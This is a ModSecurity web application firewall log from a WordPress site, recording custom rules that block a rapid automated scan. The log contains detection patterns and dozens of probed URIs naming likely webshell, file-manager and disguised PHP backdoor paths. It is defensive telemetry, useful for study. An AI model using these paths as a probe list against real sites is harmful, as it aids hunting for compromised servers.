[Sun Mar 01 04:30:44.929476 2026] [:error] [pid 21159:tid 21244] [client 85.203.15.227:23731] [client 85.203.15.227] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/dist/default.php"] [unique_id "aaNQdOLi3ouy1NZIkgoFrQAAAJc"]
[Sun Mar 01 04:30:45.801725 2026] [:error] [pid 24576:tid 24604] [client 85.203.15.150:53321] [client 85.203.15.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tiny.php"] [unique_id "aaNQdYvfb5CnctJh0728ZQAAARg"]
[Sun Mar 01 04:30:47.742685 2026] [:error] [pid 21158:tid 21206] [client 85.203.15.221:61037] [client 85.203.15.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "aaNQdzriSIe3-pWnbPbLdgAAAE0"]
[Sun Mar 01 04:30:52.450611 2026] [:error] [pid 21158:tid 21204] [client 81.199.26.68:24807] [client 81.199.26.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "aaNQfDriSIe3-pWnbPbLkAAAAEs"]
[Sun Mar 01 04:30:53.075599 2026] [proxy_fcgi:error] [pid 24576:tid 24585] [client 81.199.26.57:34419] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 04:30:54.085289 2026] [:error] [pid 24576:tid 24588] [client 81.199.26.57:34419] [client 81.199.26.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "aaNQfovfb5CnctJh0728mgAAAQk"]
[Sun Mar 01 04:30:56.266277 2026] [proxy_fcgi:error] [pid 21158:tid 21205] [client 85.203.15.151:47941] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 04:30:56.933364 2026] [:error] [pid 21158:tid 21194] [client 85.203.15.151:47941] [client 85.203.15.151] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.15.151, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/ocean/wp-login.php"] [unique_id "aaNQgDriSIe3-pWnbPbLowAAAEE"]
[Sun Mar 01 04:30:58.570638 2026] [:error] [pid 21158:tid 21196] [client 85.203.15.151:47941] [client 85.203.15.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Cache/upfile.php"] [unique_id "aaNQgjriSIe3-pWnbPbLrgAAAEM"]
[Sun Mar 01 04:30:59.475408 2026] [:error] [pid 21159:tid 21242] [client 81.199.26.59:54149] [client 81.199.26.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "aaNQg-Li3ouy1NZIkgoF3QAAAJU"]
[Sun Mar 01 04:31:02.115902 2026] [:error] [pid 21159:tid 21237] [client 85.203.15.175:57371] [client 85.203.15.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-function.php"] [unique_id "aaNQhuLi3ouy1NZIkgoF5QAAAJA"]
[Sun Mar 01 04:31:04.008330 2026] [:error] [pid 21156:tid 21182] [client 81.199.26.59:30773] [client 81.199.26.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Canonical.php"] [unique_id "aaNQiKsaG_9IkG8N2p3ZoAAAABA"]
[Sun Mar 01 04:31:04.935068 2026] [:error] [pid 21263:tid 21272] [client 85.203.15.175:56829] [client 85.203.15.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "aaNQiNAxjzLvN1upBhm3JgAAAMU"]
[Sun Mar 01 04:31:06.811751 2026] [:error] [pid 21263:tid 21271] [client 85.203.15.228:50937] [client 85.203.15.228] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-feed-index.php"] [unique_id "aaNQitAxjzLvN1upBhm3NQAAAMQ"]
[Sun Mar 01 04:31:08.006933 2026] [proxy_fcgi:error] [pid 21158:tid 21211] [client 85.203.15.175:60065] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 04:31:08.586676 2026] [:error] [pid 21158:tid 21198] [client 85.203.15.175:60065] [client 85.203.15.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php"] [unique_id "aaNQjDriSIe3-pWnbPbL0gAAAEU"]
[Sun Mar 01 04:31:09.760471 2026] [:error] [pid 24576:tid 24595] [client 85.203.15.82:53009] [client 85.203.15.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/db.php"] [unique_id "aaNQjYvfb5CnctJh0729RwAAAQ8"]
[Sun Mar 01 04:31:10.420721 2026] [:error] [pid 24576:tid 24586] [client 85.203.15.152:20937] [client 85.203.15.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-dependency-float.php"] [unique_id "aaNQjovfb5CnctJh0729TAAAAQc"]
[Sun Mar 01 04:31:11.053960 2026] [:error] [pid 21159:tid 21223] [client 81.199.26.58:36725] [client 81.199.26.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aaNQj-Li3ouy1NZIkgoGBwAAAII"]
[Sun Mar 01 04:31:11.632877 2026] [:error] [pid 21158:tid 21208] [client 81.199.26.62:45991] [client 81.199.26.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/purna.php"] [unique_id "aaNQjzriSIe3-pWnbPbL3QAAAE8"]
[Sun Mar 01 04:31:12.210976 2026] [:error] [pid 24576:tid 24588] [client 85.203.15.231:42745] [client 85.203.15.231] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-class.php"] [unique_id "aaNQkIvfb5CnctJh0729VQAAAQk"]
[Sun Mar 01 04:31:12.978926 2026] [:error] [pid 21263:tid 21273] [client 85.203.15.160:48889] [client 85.203.15.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/class-wp-widddget-pages.php"] [unique_id "aaNQkNAxjzLvN1upBhm3UwAAAMY"]
[Sun Mar 01 04:31:14.636440 2026] [:error] [pid 21263:tid 21285] [client 85.203.15.166:48787] [client 85.203.15.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php"] [unique_id "aaNQktAxjzLvN1upBhm3bgAAANI"]
[Sun Mar 01 04:31:15.352515 2026] [:error] [pid 21263:tid 21288] [client 81.199.26.57:25219] [client 81.199.26.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php"] [unique_id "aaNQk9AxjzLvN1upBhm3fAAAANU"]
[Sun Mar 01 04:31:15.957552 2026] [:error] [pid 21156:tid 21178] [client 85.203.15.224:50659] [client 85.203.15.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/module.audio-video.riff-set.php"] [unique_id "aaNQk6saG_9IkG8N2p3ZpQAAAAw"]
[Sun Mar 01 04:31:16.837430 2026] [:error] [pid 21263:tid 21290] [client 81.199.26.55:38819] [client 81.199.26.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/utils/license.php"] [unique_id "aaNQlNAxjzLvN1upBhm3jgAAANc"]
[Sun Mar 01 04:31:18.016649 2026] [:error] [pid 24576:tid 24591] [client 81.199.26.60:38045] [client 81.199.26.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/options.php"] [unique_id "aaNQlovfb5CnctJh0729dAAAAQs"]
[Sun Mar 01 04:31:18.647945 2026] [proxy_fcgi:error] [pid 21159:tid 21225] [client 81.199.26.53:48039] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 04:31:19.895484 2026] [:error] [pid 21159:tid 21226] [client 81.199.26.53:48039] [client 81.199.26.53] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 81.199.26.53, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "aaNQl-Li3ouy1NZIkgoGJgAAAIU"]
[Sun Mar 01 04:31:22.901476 2026] [:error] [pid 21159:tid 21234] [client 81.199.26.53:48039] [client 81.199.26.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/feed-rsss.php"] [unique_id "aaNQmuLi3ouy1NZIkgoGNAAAAI0"]
[Sun Mar 01 04:31:23.518007 2026] [:error] [pid 21156:tid 21171] [client 81.199.26.69:56543] [client 81.199.26.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/goto.php"] [unique_id "aaNQm6saG_9IkG8N2p3ZvQAAAAU"]
[Sun Mar 01 04:31:29.505014 2026] [:error] [pid 24576:tid 24580] [client 40.80.89.74:13253] [client 40.80.89.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wk/index.php"] [unique_id "aaNQoYvfb5CnctJh0729nAAAAQE"]
[Sun Mar 01 04:31:30.068295 2026] [:error] [pid 24576:tid 24582] [client 40.80.89.74:13288] [client 40.80.89.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wk/index.php"] [unique_id "aaNQoovfb5CnctJh0729nQAAAQM"]
[Sun Mar 01 04:31:30.189718 2026] [:error] [pid 21263:tid 21290] [client 81.199.26.67:57679] [client 81.199.26.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aaNQotAxjzLvN1upBhm3ygAAANc"]
[Sun Mar 01 04:31:30.613003 2026] [:error] [pid 24576:tid 24584] [client 40.80.89.74:13256] [client 40.80.89.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wk/index.php"] [unique_id "aaNQoovfb5CnctJh0729oAAAAQU"]
[Sun Mar 01 04:31:31.168311 2026] [:error] [pid 24576:tid 24604] [client 40.80.89.74:7620] [client 40.80.89.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wk/index.php"] [unique_id "aaNQo4vfb5CnctJh0729pQAAARg"]
[Sun Mar 01 04:31:31.866375 2026] [:error] [pid 24576:tid 24597] [client 85.203.15.171:53403] [client 85.203.15.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp_class_datlib.php"] [unique_id "aaNQo4vfb5CnctJh0729rAAAARE"]
[Sun Mar 01 04:31:32.435264 2026] [:error] [pid 24576:tid 24581] [client 81.199.26.66:43927] [client 81.199.26.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "aaNQpIvfb5CnctJh0729sQAAAQI"]
[Sun Mar 01 04:31:35.202780 2026] [:error] [pid 24576:tid 24579] [client 81.199.26.67:54407] [client 81.199.26.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Registry-private.php"] [unique_id "aaNQp4vfb5CnctJh0729zgAAAQA"]
[Sun Mar 01 04:31:35.813119 2026] [:error] [pid 21263:tid 21276] [client 85.203.15.167:23781] [client 85.203.15.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-meta.php"] [unique_id "aaNQp9AxjzLvN1upBhm34gAAAMk"]
[Sun Mar 01 04:31:36.839790 2026] [:error] [pid 24576:tid 24591] [client 85.203.15.220:46905] [client 85.203.15.220] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/bypass.php"] [unique_id "aaNQqIvfb5CnctJh07291QAAAQs"]
[Sun Mar 01 04:31:38.902130 2026] [:error] [pid 24576:tid 24604] [client 81.199.26.57:50381] [client 81.199.26.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/adminfus.php"] [unique_id "aaNQqovfb5CnctJh07296QAAARg"]
[Sun Mar 01 04:31:39.807200 2026] [:error] [pid 24576:tid 24586] [client 85.203.15.154:38609] [client 85.203.15.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/group/wp-style.php"] [unique_id "aaNQq4vfb5CnctJh07299AAAAQc"]
[Sun Mar 01 04:31:41.102913 2026] [:error] [pid 21156:tid 21188] [client 85.203.15.160:57401] [client 85.203.15.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-wolf-widget.php"] [unique_id "aaNQrasaG_9IkG8N2p3Z1AAAABY"]
[Sun Mar 01 04:31:45.707126 2026] [:error] [pid 21159:tid 21227] [client 81.199.26.68:60707] [client 81.199.26.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "aaNQseLi3ouy1NZIkgoGcAAAAIY"]
[Sun Mar 01 04:31:47.033830 2026] [:error] [pid 21263:tid 21282] [client 85.203.15.102:40655] [client 85.203.15.102] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/about.php"] [unique_id "aaNQs9AxjzLvN1upBhm4AwAAAM8"]
[Sun Mar 01 04:31:50.021298 2026] [:error] [pid 24576:tid 24604] [client 85.203.15.154:33859] [client 85.203.15.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-sup.php"] [unique_id "aaNQtovfb5CnctJh072-OAAAARg"]
[Sun Mar 01 04:31:51.571614 2026] [:error] [pid 21158:tid 21210] [client 81.199.26.62:51179] [client 81.199.26.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-t.api.php"] [unique_id "aaNQtzriSIe3-pWnbPbMRQAAAFE"]
[Sun Mar 01 04:31:54.029466 2026] [:error] [pid 21263:tid 21286] [client 85.203.15.157:33031] [client 85.203.15.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/require-dynamic-blocks.php"] [unique_id "aaNQutAxjzLvN1upBhm4WwAAANM"]
[Sun Mar 01 04:31:56.211031 2026] [:error] [pid 21159:tid 21222] [client 81.199.26.66:36065] [client 81.199.26.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-rss-database.php"] [unique_id "aaNQvOLi3ouy1NZIkgoGpAAAAIE"]
[Sun Mar 01 04:31:57.688363 2026] [:error] [pid 21158:tid 21199] [client 85.203.15.221:55831] [client 85.203.15.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-customize-manager-client.php"] [unique_id "aaNQvTriSIe3-pWnbPbMZwAAAEY"]
[Sun Mar 01 04:31:58.311704 2026] [:error] [pid 21158:tid 21203] [client 85.203.15.228:31145] [client 85.203.15.228] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-boolean.php"] [unique_id "aaNQvjriSIe3-pWnbPbMagAAAEo"]
[Sun Mar 01 04:32:00.864438 2026] [:error] [pid 24576:tid 24592] [client 85.203.15.171:55723] [client 85.203.15.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/simi.php"] [unique_id "aaNQwIvfb5CnctJh072-hQAAAQw"]
[Sun Mar 01 04:32:03.108400 2026] [:error] [pid 24576:tid 24582] [client 81.199.26.63:46553] [client 81.199.26.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine-session.php"] [unique_id "aaNQw4vfb5CnctJh072-mAAAAQM"]
